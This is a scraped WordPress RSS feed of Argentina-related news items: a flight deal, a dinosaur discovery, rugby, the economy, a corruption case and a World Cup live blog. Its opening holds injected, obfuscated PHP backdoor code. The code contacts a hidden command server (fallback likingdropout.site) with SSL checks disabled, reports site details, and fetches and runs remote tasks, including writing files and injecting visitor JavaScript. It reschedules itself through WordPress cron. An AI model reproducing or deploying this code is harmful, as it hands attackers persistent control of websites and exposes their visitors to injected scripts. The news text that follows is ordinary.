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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Argentina – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 23 Dec 2018 07:27:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Argentina – Brief News https://briefnews.eu 32 32 Deal Alert: Nonstop Flights to Argentina From $599 Round-Trip https://briefnews.eu/deal-alert-nonstop-flights-to-argentina-from-599-round-trip/ https://briefnews.eu/deal-alert-nonstop-flights-to-argentina-from-599-round-trip/#respond Sun, 23 Dec 2018 07:27:32 +0000 http://briefnews.eu/deal-alert-nonstop-flights-to-argentina-from-599-round-trip/

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]]> https://briefnews.eu/deal-alert-nonstop-flights-to-argentina-from-599-round-trip/feed/ 0 New giant dinosaur species unearthed in Argentina https://briefnews.eu/new-giant-dinosaur-species-unearthed-in-argentina/ https://briefnews.eu/new-giant-dinosaur-species-unearthed-in-argentina/#respond Sun, 04 Nov 2018 04:13:40 +0000 http://briefnews.eu/new-giant-dinosaur-species-unearthed-in-argentina/ Three well-preserved specimens of a new gigantic dinosaur species, named Lavocatisaurus agrioensis, have been discovered by a multinational team of scientists in the Argentine province of Neuquén.

The remains an adult and two juveniles reptiles which roamed the Earth some 110 million years ago, were unearthed by a team of Argentine and Spanish paleontologists. The new species, which the discoverers named Lavocatisaurus agrioensis were herbivorous and belonged to Sauropods saurischian clade of dinosaurs with very long necks, long tails, and a small head.

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In addition to parts of the neck, tail and back, the team found “most” of the cranial bones, including the snout, the jaws, and teeth, making it possible to create an “almost complete reconstruction,” noted Jose Luis Carballido, a researcher at the Egidio Feruglio museum and the national council of scientific investigations.

The fossils showed the adult dinosaur to be 12 meters in length, while the young lizards, scientists believed, measured between six and seven meters long.

The scientist believes that the species has moved around and died together in a group from circumstances yet known to the scientific community. Desert conditions of the topography at that time could have contributed to their demise as herbivores need an abundance of flora and water to sustain their existence.

“While one can imagine that this group of sauropods could have adapted to move in more arid environments, with little vegetation, little humidity and little water, it’s an area in which you wouldn’t be looking for fossils,” said Carballido.

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]]> https://briefnews.eu/new-giant-dinosaur-species-unearthed-in-argentina/feed/ 0 Live Test Rugby: All Blacks v Argentina https://briefnews.eu/live-test-rugby-all-blacks-v-argentina/ https://briefnews.eu/live-test-rugby-all-blacks-v-argentina/#respond Sun, 30 Sep 2018 00:06:22 +0000 http://briefnews.eu/live-test-rugby-all-blacks-v-argentina/ ARGENTINA captain Agustin Creevy says his buoyant Pumas team will take little heart from current form when they play New Zealand, reeling from a surprise home defeat to South Africa, in the Rugby Championship this morning.

Argentina have won two Rugby Championship games for the first time this year while the All Blacks after looking to rebound after their 36-34 loss to the Springboks earlier this month.

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“We’re not thinking about that, they are only statistics and we pay them no heed,” said hooker Creevy, who will captain the Pumas for a record equalling 48th time in Saturday’s game in Buenos Aires.

“We are thinking about ourselves and how we can beat them.”

Creevy’s professed disinterest contrasts with the feelings of the home fans who see recent results as encouragement for a team that has never beaten the world champions in 27 previous attempts.

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  • Argentina reveals new austerity measures aimed at reducing the country’s huge budget deficit.
  • New measures will include an increase in export tariffs for grains such as soybeans, and a halving of the number of government agencies.
  • The new measures were not well received by investors, with the peso falling after their announcement.


Argentina late on Monday revealed a series of new austerity measures aimed at stopping, or at least slowing, the emerging crisis around its downtrodden economy.

In recent weeks, Argentina’s peso has plunged to record lows against the US dollar as investors look to move their money out of the country. Argentina which has an interest rate of 60%, one of the highest in the world, and a sky-high budget deficit.

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  • More than a dozen former Argentine government officials and business executives have been arrested in a large scale corruption scandal.
  • The investigation is throwing Argentina upside down just as it gears up for economic recovery. 
  • Watch the Argentine peso trade in real time here.

Just as Argentina looked poised for a shot at economic recovery, a corruption scandal is roiling the embattled country.

More than a dozen former government officials and business executives were arrested after police raids last week in a case involving illegal payments for favors including public-works contracts that took place over a decade under President Cristina Fernandez de Kirchner.

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]]> https://briefnews.eu/160-million-corruption-scandal-in-argentina-roils-its-financial-markets/feed/ 0 World Cup LIVE: France vs Argentina latest score and goals; Angel Di Maria screamer levels https://briefnews.eu/world-cup-live-france-vs-argentina-latest-score-and-goals-angel-di-maria-screamer-levels/ https://briefnews.eu/world-cup-live-france-vs-argentina-latest-score-and-goals-angel-di-maria-screamer-levels/#respond Sat, 30 Jun 2018 15:01:16 +0000 http://briefnews.eu/world-cup-live-france-vs-argentina-latest-score-and-goals-angel-di-maria-screamer-levels/

The World Cup knockout stages get underway as heavyweights France and Argentina go head-to-head at the Kazan Arena.

Argentina scraped through to the knockout stages following a dramatic victory over Nigeria in their last group match, finishing as runners-up to Croatia.

Les Bleus, meanwhile, came top of Group C after two wins and a draw.

Today could be the final time we see Lionel Messi on the World Cup stage, unless the maestro can mastermind a win against one of the pre-tournament favourites.

The winner of today’s bout will play either Uruguay or Portugal in the quarter-finals on Friday July 6 at the Nizhny Novgorod Stadium.

FRANCE 1-1 ARGENTINA – GRIEZMANN (13), DI MARIA (41)

France XI: Lloris, Pavard, Varane, Umtiti, Hernandez, Kante, Pogba; Mbappe, Griezmann, Matuidi, Giroud.

Argentina XI: Armani, Mercado, Otamendi, Rojo, Tagliafico, Mascherano, Enzo Perez, Banega, Pavon, Messi, Di Maria.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

TWITTER ROUND-UP

Thomas: Amazing that Argentina are still in it and still have three world class strikers to call on in the second half.

Trevor: Just goes to show – France have dominated most of the half, and yet one moment of brilliance and its level at HT. It’s goals that count and all that…

Bob: Supporting France would drive me nuts, they could beat any team in the world, but as soon as they score they go to sleep and let their opponents back in the game.

JP: Olivier Giroud up front in this France team is like having a bag of pickled onion Monster Munch with your fine red wine.

That’s unfair, JP. Let’s say he’s a pack of Quavers…

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

FRANCE 1-1 ARGENTINA

HT: Don’t ask me how, but Argentina and France are level at the break.

Didier Deschamps side have been excellent and could have scored two or three but one moment of sheer brilliance from Angel Di Maria has pulled Argentina back from the brink.

47: Both of Angel Di Maria’s World Cup goals have come in round of 16 matches (vs Switzerland in 2014 and vs France today).

45: Two minutes of added time.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stageREUTERS

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

FRANCE 1-1 ARGENTINA

43: France look shocked. They’ve bossed this match and somehow find themselves level. Angel Di Maria’s strike came from nowhere.

FRANCE 1-1 ARGENTINA – DI MARIA

41: Wow! Just wow…

Angel Di Maria has scored an absolute thunderbolt. No goalkeeper on earth is getting anywhere near that.

Ever Banega shifts it across to PSG star Di Maria, who BANGS it from 25-yards into the top right-hand corner. This is a contender for goal of the tournament.

40: Five minutes until tiebreak and Argentina have themselves a corner. I think it’s their third of the afternoon. Lionel Messi swings it in but Benjamin Pavard clears.

39: Lionel Messi goes down in the box. It was just a tangling of legs and referee Alireza Faghani waves play on.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

38: There’s a pause in play as Olivier Giroud receives treatment after a collision with Otamendi. The Chelsea star wants a penalty but he actually committed the foul.

35: Nicolas Tagliafico finally wins a one-on-one with Kylian Mbappe, who looked to dance his way through. It just takes one good ball from Paul Pogba to leave Rojo and Co stumped.

33: Lionel Messi is supposedly playing up front but nearly all of his touches have come wide right. Angel Di Maria keeps getting the ball and going backwards.

France could really do with a second to kill off any potential comeback. I doubt Argentina will be this bad in the second half.

30: So Jorge Sampaoli’s decision to bench Paulo Dybala, Gonzalo Higuain and Sergio Aguero isn’t bearing any fruit. Surprising that, eh?

The plan is for Lionel Messi to drop deep and Cristian Pavon to play off him and stretch the defence. I don’t think I’ve seen that happen once.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

27: Kylian Mbappe fouled again! His pace is unbelievable. Every time he receives the ball an Argentine player looks to cynically drag him down. Electric.

24: A couple of corners come and go for Argentina. They really aren’t causing the French defence any real problems.

21: Paul Pogba sends it into orbit with a dreadful effort. The cameras pan to his brothers looking astonished with how poorly he struck that.

20: Goodness me. What’s going on here? Paul Pogba plays a tremendous ball over to Kylian Mbappe, who leaves the Argentine defence at sixes and sevens.

Tagliafico brings him down JUST outside the area and collects booking for his troubles. Pogba looks like he’s going to strike this one…

18: Right, what’s Plan B? Argentina are stroking the ball around in midfield to try and gather themselves. Lionel Messi is dropping deeper and deeper to get involved, but playing as a ‘False 9’ there’s nobody spearheading the attack!

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

15: I can’t stress enough how scintillating that Kylian Mbappe run was. He collected the ball deep in his own half and ghosted past at least three Argentine defenders. Incredible and terrifying pace.

FRANCE 1-0 ARGENTINA – GRIEZMANN (PEN)

13: Cool as you like. France have taken the lead thanks to Antoine Griezmann, who slots his penalty straight down the middle.

It’s advantage France in the last 16 of the World Cup.

PENALTY TO FRANCE!

11: Now that is the most stonewall penalty you’re ever likely to see. Kylian Mbappe strides the length of the field and Marcos Rojo rugby tackles him inside the area. Ridiculous.

10: OOOOF! Mascherano wipes out Mbappe, who was far too quick for him and France have a free-kick just outside the penalty area.

Antoine Griezmann steps up… woodwork! An exquisite strike cannons off the bar and away to safety.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

8: Ever Banega pulled the strings against Nigeria midweek and he’s started in the same fashion here. He sends Di Maria through on the left, but the PSG playmaker sends a hopeless cross to nobody. Poor.

5: We’ve got a good old fashioned game of “hot potato” here at the Kazan Arena. Nobody is capable of keeping possession for more than a few seconds.

Matuidi introduces himself to Lionel Messi by ploughing straight through the Barcelona star. He escapes a booking but it’s looking like an inevitability that he’ll be booked at some point.

3: Well we’ve played three minutes and there’s no sign of Diego Maradona. I wonder if the BBC are scared to show him before the watershed?

Anyway, It’s been quite a cagey start with neither side will to take too many chances.

FRANCE 0-0 ARGENTINA

1: And we’re underway! Lionel Messi to inspire a nation to the quarter-finals, or will France find their form and dispatch Argentina? We’re about to find out!

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stageREUTERS

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

TWO-MINUTE WARNING…

14:58: Oh goody, Danny Murphy is commentating… Two minutes until we’re off.

Quite nice to see a smile on Lionel Messi’s face when Argentina ousting France during the national anthems. The South Americans have packed the Kazan Arena today.

THE ARRIVAL…

14:55: The enormous flags have been unfurled at either end of the pitch. That can only mean one thing – the players have arrived for the national anthems.

Noise in the Kazan Arena is unreal.

TWITTER ROUND-UP

Alastair: Really looking forward to seeing how these two teams match up, particularly with Messi as a false nine. Arguably the best of all time, but matching up against N’Golo Kante is like trying to fight a swarm of furious ants.

Tony: Battle of possibly the two most dysfunctional teams at the World Cup neither Argentina or France seem to consistently be able to work effectively as a normal team and get the best out of their talented individuals. Argentina to win this due to the genius of the Messi.

Geoff: Looking at the teams only Lionel Messi would get in the France line-up. Should be an easy win therefore… but might prove to be more difficult.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

LIONEL MESSI RETIREMENT?

14:45: Now, Lionel Messi will be 34 by the time next World Cup comes around and he has already retired from international football once.

But will defeat against France mark the end of his international career?

If he does, it wouldn’t be the first time.

Messi quit at the age of just 29 after Argentina’s Copa America final defeat by Chile in June 2016.

This time he’s suggested he will retire from international football in March if Argentina don’t win in Russia.

“We feel that, if we won’t win the World Cup in Russia, the only way will be to give up the national team,” Messi told La Cornisa. “I dream of winning the trophy in Russia. My wish is to live something similar to Brazil 2014. You can do everything OK and fail, like Argentina in Brazil.”

WHO’S IN CHARGE?!

14:40: Jorge Sampaoli says he was informing rather consulting Lionel Messi in an exchange during the Nigeria clash.

Much has been made of the footage of the discussion before Sampaoli brought on striker Sergio Aguero as a substitute.

“I remember that point in time but everything I say to my players is personal and I will not divulge what was said,” he said. “But it’s not how you characterised it, we had several options in attack and I was just communicating to him that we’d be using one of the strategies that we’d rehearsed.”

The video is above. How’s your Spanish?

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

TWITTER ROUND-UP

Archie: Who would have thought that Chelsea could buy the starting striker of one of the World Cup favourites for only £18m?

Andrew: Sergio Aguero on the bench is like putting ketchup on your breakfast, when you have a full bottle of brown sauce on the shelf.

Pay: This match is going to be a great test of Lionel Messi’s tactical nous. Perhaps the beginning of his managerial career.

I’m afraid we disagree on that one, Andrew. Ketchup is the Rolls Royce of kitchen condiments.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

NAUGHTY MARADONA

14:25: It comes to something when even Diego Maradona can’t escape a slap on the wrist.

The 57-year-old made an obscene/hilarious gesture at other spectators after Argentina snatched a late win on Wednesday.

And asked about Maradona’s gesture, FIFA’s World Cup chief executive Colin Smith said: “We would expect all players, former players, staff, fans, everyone to behave in a respectful manner.”

Yep, I can see that happening…

HIGHLIGHTS…

14:20: I was originally thinking that this section was up for discussion, but having looked around I think it’s quite clear what the best and worst games of the group stages have been.

Best game: Portugal 3 Spain 3

The tournament got off to a flyer with Portugal and Spain serving up a classic. Cristiano Ronaldo grabbed the headlines by completing a hat-trick and equalising with a stunning late free-kick.

Worst game: France 0 Denmark 0

After 13 days, this World Cup got its first goalless draw as France, already through, and Denmark, who needed a point to join them, went through the motions in Moscow.

I’ve posted the Spain vs Portugal highlights above. I think the France vs Denmark highlights last 12 seconds…

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

RECORD

14:15: Congratulations are in order. Didier Deschamps will take charge of his 80th game as France manager; a new record as he overtakes Raymond Domenech.

ODE TO MESSI

14:10: I may have underestimated how much Angel Di Maria loves Lionel Messi.

The Paris St-Germain star affectionally described Messi, 31, as a bird capable of seeing things most human beings can’t.

“The 2008 Olympics gave me the opportunity to play with Leo Messi, the extraterrestrial, the genius. It was the most fun I’ve ever had playing football,” he said. “All I had to do was run into space. I would start running, and the ball would arrive at my feet. Like magic.

“Leo’s eyes don’t work like your eyes and my eyes work. They look side to side, like a human. But he’s also able to see the world from above, like a bird. I don’t understand how it’s possible.”

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

TEAM NEWS – ARGENTINA

14:05: Argentina have started without Paulo Dybala, Sergio Aguero or Gonzalo Higuain for their World Cup last-16 clash with France.

I know, it looks like madness.

Forward Cristian Pavon replaces the Juventus talisman Higuain in the only change from their vital group win against Nigeria.

This, of course, means that Lionel Messi could be playing through the middle as a false nine.

Once again, madness…

TEAM NEWS – FRANCE

14:00: France boss Didier Deschamps has reverted to the side that started against Peru in their second group game, having rested the likes of Hugo Lloris, Paul Pogba and Kylian Mbappe against Denmark.

Olivier Giroud leads the line with Antoine Griezmann, Mbappe and Blaise Matuidi in support. Paul Pogba and N’Golo Kante assume the holding role.

Steve Mandanda, Djibril Sidibe, Presnel Kimpembe, Steven Nzonzi, Ousmane Dembele and Thomas Lemar all drop to the bench.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

‘COMPLETE FAITH’

13:50: Well what else was Jorge Sampaoli going to say?!

The South Americans looked in real danger of crashing out at the group stage before a dramatic victory over Nigeria saw them through to the last 16 as runners-up behind Croatia.

But Sampaoli has “complete faith” in the ability of his side to get past France.

“We have complete faith in our abilities. Argentina is very strong psychologically and this will allow us to face the match with complete commitment. You will see a team which will have a lot of motivation to win,” Sampaoli said.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

THE LINE-UPS

13:45: Am I seeing that Argentina starting XI correctly? No Sergio Aguero, Paulo Dybala or Gonzalo Higuain…

France XI: Lloris, Pavard, Varane, Umtiti, Lucas, Kante, Pogba, Mbappe-Lottin, Griezmann, Matuidi, Giroud.

Subs: Mandanda, Kimpembe, Lemar, Dembele, Tolisso, Nzonzi, Rami, Fekir, Sidibe, Thauvin, Mendy, Areola.

Argentina XI: Armani, Mercado, Otamendi, Rojo, Tagliafico, Perez, Mascherano, Banega, Pavon, Messi, Di Maria.

Subs: Guzman, Ansaldi, Biglia, Fazio, Acuna, Higuain, Meza, Salvio, Aguero, Lo Celso, Dybala, Caballero.

Referee: Alireza Faghani.

TWITTER ROUND-UP

Axel: A lot of people already assuming France has this one in the pocket, but remember this Argentina squad is based on the ones playing in Europe, several familiar faces there. 2-1 for Messi’s Team.

Rosh: After a day’s rest I’m in full energy and ready to watch Uruguay vs Portugal and France vs Argentina. It could be one of the best days of this World Cup. It’s a super Saturday!

Adam: France to edge this one I reckon, strength in depth and look the more confident team so far.

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stageREUTERS

France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

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France vs Argentina: Live World Cup score, goals and updates as Lionel Messi takes centre stage

HAVE YOUR SAY

13:35: If you want to vent your frustrations, or discuss any issues in the world of football (within reason), then get in touch!

You can either comment at the bottom of the page or contact me via Twitter using the hashtag #ExpressSport.

WELCOME

13:30: Hello everyone, welcome to our LIVE coverage of the World Cup.

I hope you’re all doing well this afternoon. I’ve just taken three hours to complete a one hour journey. It’s safe to say that I’m not in the best of moods.

But hopefully a ridiculously exciting day of World Cup action will make amends.

We’ve navigated our way through a pretty epic group stage and now it’s business time as the last 16 gets underway.

There’s no malarky in the knockout stages, folks. I repeat, no malarky!

Anyway, France have never beaten Argentina at a World Cup or in any competitive game. Today might be a nice time to start…

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Ahmed Musa’s brace gave Nigeria a vital 2-0 World Cup win over Iceland in Volgograd, handing Lionel Messi and Argentina a lifeline as a three-way battle for qualification behind Croatia in Group D goes to the wire.

Musa opened the scoring just after half-time with a stunning half-volley, before embarking on a blistering run down the flank and then cutting inside and slotting into the net to double the Super Eagles’ lead on 75 minutes.

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The victory means Nigeria move into second in Group D on three points from their two games – two behind Croatia on six but two ahead of Iceland and Argentina, who are on one point apiece.

An Iceland win would have spelled near-doom for two-time World Cup winners Argentina and Lionel Messi, but Musa’s heroics have blown things wide open for the group finale on Tuesday. 

After the game, Musa was hailed for handing his team a win and Argentina a lifeline – and was feted for doing more for the Argentinian World Cup cause than the misfiring Messi.

Others said that Musa had actually served Messi’s World Cup cause more than his Argentinian teammates.

As the debate has raged over what Lionel Messi’s poor performances in Russia mean for his status as arguably the greatest ever to play the game, some suggested two-goal hero Musa – who now has four World Cup goals to his name in total after bagging two in Brazil four years ago – was a new candidate for the GOAT honors.

Some picked up on the fact that Musa had notched a double against an Icelandic defence that Messi had failed to breach in Argentina’s group game – when he missed a penalty – and Cristiano Ronaldo hadn’t managed in Portugal and Iceland’s Euro 2016 encounter. 

Russia certainly seems to bring the best out of Musa, who has played much of his club football for CSKA Moscow. He moved to English Premier League team Leicester City two years ago after a prolific spell in the Russian capital, but failed to settle and spent much of last season on loan back at CSKA.

Group D is now set for a blockbuster finale on Tuesday when Iceland take on already-qualified Croatia in Rostov and Nigeria face Argentina in St. Petersburg.  

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]]> https://briefnews.eu/musas-done-more-than-messi-nigeria-goal-hero-hands-argentina-lifeline/feed/ 0 Why countries like Argentina and Turkey fret about exchange rates https://briefnews.eu/why-countries-like-argentina-and-turkey-fret-about-exchange-rates/ https://briefnews.eu/why-countries-like-argentina-and-turkey-fret-about-exchange-rates/#respond Fri, 22 Jun 2018 03:11:15 +0000 http://briefnews.eu/why-countries-like-argentina-and-turkey-fret-about-exchange-rates/

IMAGINE if Milton Friedman had been put in charge of a central bank, only to lose his job for expanding the money supply too quickly. Or if Robert Shiller, the Nobel-prizewinning author of “Irrational Exuberance”, were given a similar post, only to depart having allowed a stockmarket bubble to inflate. That is the kind of irony that attended the resignation under pressure of Federico Sturzenegger as governor of Argentina’s central bank on June 14th, a casualty of deepening turmoil in emerging markets.

Mr Sturzenegger was a former professor at Universidad Torcuato Di Tella in Buenos Aires. His most-cited paper showed that stated currency policy was often a poor guide to actual policy. Many countries claim to let their currencies float freely but in fact “intervene recurrently to stabilise their exchange rates”. Their deeds often belie their words.

Mr Sturzenegger lost his job for much the same thing. Financial markets struggled to reconcile his statements on the currency with his…

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Rurik Gíslason, a previously unheralded midfielder from the German second division, has seen his Instagram following swell by 250,000 overnight after a brief cameo in his nation’s opening game in the World Cup.

He may have only played a half hour in Iceland’s 1-1 draw with Argentina but Rurik Gíslason has already made quite an impression on the World Cup – and more specifically, the sport’s female viewers.

Gíslason has proved to be particularly popular with South American football fans, with Brazilian actress Gabriela Lopes writing to her 2 million followers to ask “how is it possible to be this cute?”

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Argentinian actress Gimena Accardi also noted to her audience that over 40,000 of her fans had followed Gíslason’s account in just 30 minutes – and it is still growing at an astounding rate. In fact, in the time is has taken to write this his Instagram following has grown by 10,000.

Gíslason’s new legion of female fans will have another chance to watch him in action when Iceland take on Nigeria in their second Group D match on Friday.

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Lionel Messi missed yet another penalty kick and Iceland held on for a 1-1 draw against Argentina in an impressive World Cup debut on Saturday.

Messi failed to give his team the lead when his 64th-minute penalty was stopped by Hannes Halldorsson. The Iceland goalkeeper dived to his right and got two hands behind the ball.

It was Messi's fourth missed penalty in his last seven attempts for Argentina and Barcelona.

The Argentines took the lead in the 19th minute when Sergio Aguero scored with a rising left-footed shot. Alfred Finnbogason equalized for Iceland four minutes later after Argentina goalkeeper Willy Caballero pushed a low cross into the forward's path.

The penalty was awarded after Aguero was pushed in the back by Hordur Magnusson as both chased Messi's floated cross in the 63rd.

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The small Nordic island nation's team created several first-half chances despite having only 22 per cent possession, and pushed back Argentina's waves of second-half attacks.

Messi had a final chance to redeem his team with the final kick of the game, but his free kick from 25 yards failed to clear a solid Iceland defensive wall.

At the end, Messi retreated alone into the centre circle with his head bowed and hands on his knees.

Iceland played its debut on soccer's biggest stage like it belonged alongside the 2014 runners-up. Before trailing, Iceland could have taken the lead but Birkir Bjarnason side-footed a shot wide of goal when Caballero was exposed.

That chance came in a nervous ninth minute for Argentina's defence, which seemed unsettled by Iceland's strength and their own unease with loose balls in the penalty area.

No Iceland defender was at fault for failing to stop Aguero's goal. The forward executed a classy spin move to create his chance when a miscued shot by Marcos Rojo arrived at his feet near the penalty spot.

It was a finish worthy of Argentina great Diego Maradona, who was watching in the VIP section at Spartak Stadium. The FIFA ambassador was puffing a large cigar despite smoking being banned in all World Cup venues.​

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